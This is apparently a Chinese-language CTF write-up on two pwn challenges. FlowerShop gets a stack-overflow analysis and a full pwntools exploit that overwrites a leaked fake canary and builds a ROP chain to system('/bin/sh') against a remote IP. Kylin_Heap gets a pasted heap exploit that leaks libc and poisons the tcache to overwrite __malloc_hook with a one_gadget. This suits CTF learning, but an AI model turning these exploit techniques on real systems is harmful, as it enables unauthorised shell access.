• 不太清楚这个比赛的题目附件能不能放出,所以就先不放出了

PWN

FlowerShop

  • 得到附件后先查看一下保护机制,只开启了NX保护

image-20240908150715800

  • 然后拖入IDA静态分析一下,先查看main函数里面的内容,发现有system函数。

image-20240908151005447

  • 注意到read使用read函数可以写入user_name0x3D字节,但是user_name只有0x34个字节,这边会存在一个栈溢出的情况。

image-20240908151149150

  • 现在先查看一下main函数的栈,发现user_money的栈地址比user_name栈地址更高,这样就可以栈溢出修改money的值,然后可以得到足够的money,还注意到在user_moneyuser_name直接存在一个src变量。通过上面的源码分析src类似于canary机制来防止栈溢出。但是这个Canary保护的值已经给泄露,该值就是pwn

image-20240908151436495

image-20240908151443831

  • 然后到shop函数,发现购买magic可以得到/bin/sh

image-20240908151741601

  • 之后发现check可以修改read可写的范围,满足条件后直接栈溢出,构造rop链

image-20240908151833761

image-20240908151840929

  • 然后就是写exp了
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
from pwn import *
context(log_level='debug')
p = process('./shop')
p = remote('8.147.131.74',20909)
a1 = '请输入购买的商品序号:\n'.encode('utf-8')
a2 = '你想要继续买花吗? 1/0\n'.encode('utf-8')
def shopp(choice,then):
p.sendlineafter(a1,choice.encode('utf-8'))
p.sendlineafter(a2,then.encode('utf-8'))

a = '请输入你的姓名:\n'.encode("utf-8")
c = '请输入你的选项:\n'.encode("utf-8")
ret = 0x4006f6
pop_rdi = 0x400f13
sys_addr = 0x400730
sh_addr = 0x601840
payload1 = b'A'*0x34 + b'pwn\x00' + p64(0x1000)
#gdb.attach(p)
p.sendlineafter(a,payload1,timeout=1)
payload1 = b'a'
p.sendlineafter(c,payload1,timeout=1)
shopp('a','1')
shopp('a','1')
shopp('c','1')
payload2 = b'a'*0x18 +p64(ret) +p64(pop_rdi) + p64(sh_addr) + p64(sys_addr)
p.sendlineafter(a1,b'b')
p.sendlineafter(a2,payload2)
p.interactive()

Kylin_Heap

  • 目前还是没办法复现,先贴个别人的wp,省得之后复现还要去找别人的wp,忘了这个exp的来源了
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
from pwn import *
context.log_level = "debug"
context.terminal = ["wt.exe","wsl"]

libc = ELF("libc.so.6")
def get_p(file):
elf = ELF(file)
p = elf.process()
#p = remote("8.147.129.22",32449)
return p,elf

def debug():
pause()
gdb.attach(p)
sleep(2)

p,elf = get_p("./Heap")


'''
def xxx():
    p.sendlineafter()
    p.sendlineafter()
    p.sendlineafter()
'''


def add_heap(size,content):
p.sendlineafter(b"adventurer? ",str(1).encode('utf-8'))
p.sendlineafter(b"adventurer? ",str(1).encode('utf-8'))
p.sendlineafter(b"bytes): ",str(size))
p.sendlineafter(b"bytes):\n",content)


def free_heap(idx):
p.sendlineafter(b"adventurer? ",b"2")
p.sendlineafter(b": ",str(idx))

def edit_heap(idx,content):
p.sendlineafter(b"adventurer? ",b"3")
p.sendlineafter(b": ",str(idx))
p.sendlineafter(b":\n",content)

def show_heap(idx):
p.sendlineafter(b"adventurer? ",b"4")
p.sendlineafter(b": ",str(idx))


add_heap(0x440,b"A") #chunk 0
add_heap(0x440,b"A") #chunk 1


free_heap(0)
show_heap(0)

libc.address = u64(p.recvuntil(b"\x7f")[-6:].ljust(8,b"\x00")) - 0x1ebbe0
log.success("libc =" + hex(libc.address))
malloc_hook = libc.sym["__malloc_hook"]

add_heap(0x10,b"A") #chunk 2
add_heap(0x10,b'A') #chunk 3

free_heap(2)
free_heap(3)

edit_heap(3,p64(malloc_hook))

one_gadgets = [0xe6c7e,0xe6c81,0xe6c84]
og = libc.address + one_gadgets[1]

add_heap(0x10,b"A")
add_heap(0x10,p64(og))

p.sendlineafter(b"adventurer? ",str(1).encode('utf-8'))
p.sendlineafter(b"bytes): ",b"10")
p.interactive()